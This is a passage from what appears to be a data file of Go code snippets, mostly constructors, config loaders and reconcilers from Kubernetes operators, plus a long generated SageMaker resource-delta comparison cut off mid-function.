acc.Name)] = rly.NewPath(\n\t\t\trly.NewPathEnd(selfacc.Name, acc.Name),\n\t\t\trly.NewPathEnd(acc.Name, selfacc.Name),\n\t\t)\n\t}\n\n\tfile, err := os.OpenFile(path, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0755)\n\tif err != nil {\n\t\treturn rly.Config{}, err\n\t}\n\tdefer file.Close()\n\n\terr = yaml.NewEncoder(file).Encode(config)\n\treturn config, err\n}", "func newOperativeMutation(c config, op Op, opts ...operativeOption) *OperativeMutation {\n\tm := &OperativeMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeOperative,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}", "func newConfigParser(conf *config, options flags.Options) *flags.Parser {\n\tparser := flags.NewParser(conf, options)\n\treturn parser\n}", "func newConfigmap(customConfigmap *customConfigMapv1alpha1.CustomConfigMap) *corev1.ConfigMap {\n\tlabels := map[string]string{\n\t\t\"name\": customConfigmap.Spec.ConfigMapName,\n\t\t\"customConfigName\": customConfigmap.Name,\n\t\t\"latest\": \"true\",\n\t}\n\tname := fmt.Sprintf(\"%s-%s\", customConfigmap.Spec.ConfigMapName, RandomSequence(5))\n\tconfigName := NameValidation(name)\n\treturn &corev1.ConfigMap{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: configName,\n\t\t\tNamespace: customConfigmap.Namespace,\n\t\t\tOwnerReferences: []metav1.OwnerReference{\n\t\t\t\t*metav1.NewControllerRef(customConfigmap, customConfigMapv1alpha1.SchemeGroupVersion.WithKind(\"CustomConfigMap\")),\n\t\t\t},\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: customConfigmap.Spec.Data,\n\t\tBinaryData: customConfigmap.Spec.BinaryData,\n\t}\n}", "func newMachineConfigDiff(oldConfig, newConfig *mcfgv1.MachineConfig) (*machineConfigDiff, error) {\n\toldIgn, err := ctrlcommon.ParseAndConvertConfig(oldConfig.Spec.Config.Raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"parsing old Ignition config failed with error: %w\", err)\n\t}\n\tnewIgn, err := ctrlcommon.ParseAndConvertConfig(newConfig.Spec.Config.Raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"parsing new Ignition config failed with error: %w\", err)\n\t}\n\n\t// Both nil and empty slices are of zero length,\n\t// consider them as equal while comparing KernelArguments in both MachineConfigs\n\tkargsEmpty := len(oldConfig.Spec.KernelArguments) == 0 && len(newConfig.Spec.KernelArguments) == 0\n\textensionsEmpty := len(oldConfig.Spec.Extensions) == 0 && len(newConfig.Spec.Extensions) == 0\n\n\tforce := forceFileExists()\n\treturn &machineConfigDiff{\n\t\tosUpdate: oldConfig.Spec.OSImageURL != newConfig.Spec.OSImageURL || force,\n\t\tkargs: !(kargsEmpty || reflect.DeepEqual(oldConfig.Spec.KernelArguments, newConfig.Spec.KernelArguments)),\n\t\tfips: oldConfig.Spec.FIPS != newConfig.Spec.FIPS,\n\t\tpasswd: !reflect.DeepEqual(oldIgn.Passwd, newIgn.Passwd),\n\t\tfiles: !reflect.DeepEqual(oldIgn.Storage.Files, newIgn.Storage.Files),\n\t\tunits: !reflect.DeepEqual(oldIgn.Systemd.Units, newIgn.Systemd.Units),\n\t\tkernelType: canonicalizeKernelType(oldConfig.Spec.KernelType) != canonicalizeKernelType(newConfig.Spec.KernelType),\n\t\textensions: !(extensionsEmpty || reflect.DeepEqual(oldConfig.Spec.Extensions, newConfig.Spec.Extensions)),\n\t}, nil\n}", "func NewOperator(config Config, deps Dependencies) (*Operator, error) {\n\to := &Operator{\n\t\tConfig: config,\n\t\tDependencies: deps,\n\t\tlog: deps.LogService.MustGetLogger(\"operator\"),\n\t\tdeployments: make(map[string]*deployment.Deployment),\n\t\tdeploymentReplications: make(map[string]*replication.DeploymentReplication),\n\t\tlocalStorages: make(map[string]*storage.LocalStorage),\n\t}\n\treturn o, nil\n}", "func newPetruleMutation(c config, op Op, opts ...petruleOption) *PetruleMutation {\n\tm := &PetruleMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypePetrule,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}", "func newConfigParser(conf *litConfig, options flags.Options) *flags.Parser {\n\tparser := flags.NewParser(conf, options)\n\treturn parser\n}", "func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\tvar err error\n\tvar c clientv3.Interface\n\tvar rc *rest.Config\n\n\tif c, err = clientv3.NewFromEnv(); err != nil {\n\t\treturn nil\n\t}\n\n\t// for pods/exec\n\tif rc, err = rest.InClusterConfig(); err != nil {\n\t\tlog.Error(err, \"Failed to get *rest.Config\")\n\t\treturn nil\n\t}\n\treturn &ReconcileRouteReflector{client: mgr.GetClient(), calico: c, rconfig: rc, scheme: mgr.GetScheme()}\n}", "func NewReconciler(m manager.Manager, of resource.ManagedKind, o ...ReconcilerOption) *Reconciler {\n\tnm := func() resource.Managed {\n\t\treturn resource.MustCreateObject(schema.GroupVersionKind(of), m.GetScheme()).(resource.Managed)\n\t}\n\n\t// Panic early if we've been asked to reconcile a resource kind that has not\n\t// been registered with our controller manager's scheme.\n\t_ = nm()\n\n\tr := &Reconciler{\n\t\tclient: m.GetClient(),\n\t\tnewManaged: nm,\n\t\tpollInterval: defaultpollInterval,\n\t\ttimeout: reconcileTimeout,\n\t\tmanaged: defaultMRManaged(m),\n\t\texternal: defaultMRExternal(),\n\t\tvalidator: defaultMRValidator(),\n\t\t//resolver: defaultMRResolver(),\n\t\tlog: logging.NewNopLogger(),\n\t\trecord: event.NewNopRecorder(),\n\t}\n\n\tfor _, ro := range o {\n\t\tro(r)\n\t}\n\n\treturn r\n}", "func NewConfig(path string) SetterConfig {\n\tif path == \"\" {\n\t\tfmt.Fprintf(os.Stderr, \"no config file found\\n\")\n\t\tos.Exit(1)\n\t}\n\n\tvar conf SetterConfig\n\n conf.GithubToken = \"\"\n conf.SchemesMasterURL = \"https://raw.githubusercontent.com/chriskempson/base16-schemes-source/master/list.yaml\"\n conf.TemplatesMasterURL = \"https://raw.githubusercontent.com/chriskempson/base16-templates-source/master/list.yaml\"\n conf.SchemesListFile = \"cache/schemeslist.yaml\"\n conf.TemplatesListFile = \"cache/templateslist.yaml\"\n conf.SchemesCachePath = \"cache/schemes/\"\n conf.TemplatesCachePath = \"cache/templates/\"\n conf.DryRun = true\n conf.Colorscheme = \"flat.yaml\"\n conf.Applications = map[string]SetterAppConfig{}\n\n file, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"could not read config. Using defaults: %v\\n\", err)\n\t} else {\n\t check(err)\n\t err = yaml.Unmarshal((file), &conf)\n\t check(err)\n\n if conf.SchemesMasterURL == \"\" {\n\t\t conf.SchemesMasterURL = defaultSchemesMasterURL\n }\n\t if conf.TemplatesMasterURL == \"\" {\n conf.TemplatesMasterURL = defaultTemplatesMasterURL\n }\n\n conf.SchemesListFile = expandPath(conf.SchemesListFile)\n conf.TemplatesListFile = expandPath(conf.TemplatesListFile)\n conf.SchemesCachePath = expandPath(conf.SchemesCachePath)\n conf.TemplatesCachePath = expandPath(conf.TemplatesCachePath)\n for k := range conf.Applications {\n if conf.Applications[k].Mode == \"\" {\n app := conf.Applications[k]\n app.Mode = \"rewrite\"\n conf.Applications[k] = app\n }\n if conf.Applications[k].Comment_Prefix == \"\" {\n app := conf.Applications[k]\n app.Comment_Prefix = \"#\"\n conf.Applications[k] = app\n }\n for f := range conf.Applications[k].Files {\n conf.Applications[k].Files[f] = expandPath(conf.Applications[k].Files[f])\n }\n }\n\n }\n\treturn conf\n}", "func newResourceDelta(\n\ta *resource,\n\tb *resource,\n) *ackcompare.Delta {\n\tdelta := ackcompare.NewDelta()\n\tif (a == nil && b != nil) ||\n\t\t(a != nil && b == nil) {\n\t\tdelta.Add(\"\", a, b)\n\t\treturn delta\n\t}\n\tcustomSetDefaults(a, b)\n\n\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig, b.ko.Spec.HyperParameterTuningJobConfig) {\n\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig\", a.ko.Spec.HyperParameterTuningJobConfig, b.ko.Spec.HyperParameterTuningJobConfig)\n\t} else if a.ko.Spec.HyperParameterTuningJobConfig != nil && b.ko.Spec.HyperParameterTuningJobConfig != nil {\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective != nil && b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName)\n\t\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName != nil && b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName != nil {\n\t\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName != *b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName {\n\t\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type)\n\t\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type != nil && b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type != nil {\n\t\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type != *b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type {\n\t\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ParameterRanges\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges != nil && b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges != nil {\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges)\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges)\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ResourceLimits\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits != nil && b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs)\n\t\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs != nil && b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs != nil {\n\t\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs != *b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs {\n\t\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs)\n\t\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs != nil && b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs != nil {\n\t\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs != *b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs {\n\t\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.Strategy, b.ko.Spec.HyperParameterTuningJobConfig.Strategy) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.Strategy\", a.ko.Spec.HyperParameterTuningJobConfig.Strategy, b.ko.Spec.HyperParameterTuningJobConfig.Strategy)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.Strategy != nil && b.ko.Spec.HyperParameterTuningJobConfig.Strategy != nil {\n\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.Strategy != *b.ko.Spec.HyperParameterTuningJobConfig.Strategy {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.Strategy\", a.ko.Spec.HyperParameterTuningJobConfig.Strategy, b.ko.Spec.HyperParameterTuningJobConfig.Strategy)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType, b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType\", a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType, b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType != nil && b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType != nil {\n\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType != *b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType\", a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType, b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria\", a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria != nil && b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue\", a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue)\n\t\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue != nil && b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue != nil {\n\t\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue != *b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue {\n\t\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue\", a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobName, b.ko.Spec.HyperParameterTuningJobName) {\n\t\tdelta.Add(\"Spec.HyperParameterTuningJobName\", a.ko.Spec.HyperParameterTuningJobName, b.ko.Spec.HyperParameterTuningJobName)\n\t} else if a.ko.Spec.HyperParameterTuningJobName != nil && b.ko.Spec.HyperParameterTuningJobName != nil {\n\t\tif *a.ko.Spec.HyperParameterTuningJobName != *b.ko.Spec.HyperParameterTuningJobName {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobName\", a.ko.Spec.HyperParameterTuningJobName, b.ko.Spec.HyperParameterTuningJobName)\n\t\t}\n\t}\n\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition, b.ko.Spec.TrainingJobDefinition) {\n\t\tdelta.Add(\"Spec.TrainingJobDefinition\", a.ko.Spec.TrainingJobDefinition, b.ko.Spec.TrainingJobDefinition)\n\t} else if a.ko.Spec.TrainingJobDefinition != nil && b.ko.Spec.TrainingJobDefinition != nil {\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName != *b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions)\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage != *b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode != *b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.CheckpointConfig, b.ko.Spec.TrainingJobDefinition.CheckpointConfig) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.CheckpointConfig\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig, b.ko.Spec.TrainingJobDefinition.CheckpointConfig)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.CheckpointConfig != nil && b.ko.Spec.TrainingJobDefinition.CheckpointConfig != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.CheckpointConfig.LocalPath\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath != nil && b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath != *b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.CheckpointConfig.LocalPath\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.CheckpointConfig.S3URI\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI != nil && b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI != *b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.CheckpointConfig.S3URI\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.DefinitionName, b.ko.Spec.TrainingJobDefinition.DefinitionName) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.DefinitionName\", a.ko.Spec.TrainingJobDefinition.DefinitionName, b.ko.Spec.TrainingJobDefinition.DefinitionName)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.DefinitionName != nil && b.ko.Spec.TrainingJobDefinition.DefinitionName != nil {\n\t\t\tif *a.ko.Spec.TrainingJobDefinition.DefinitionName != *b.ko.Spec.TrainingJobDefinition.DefinitionName 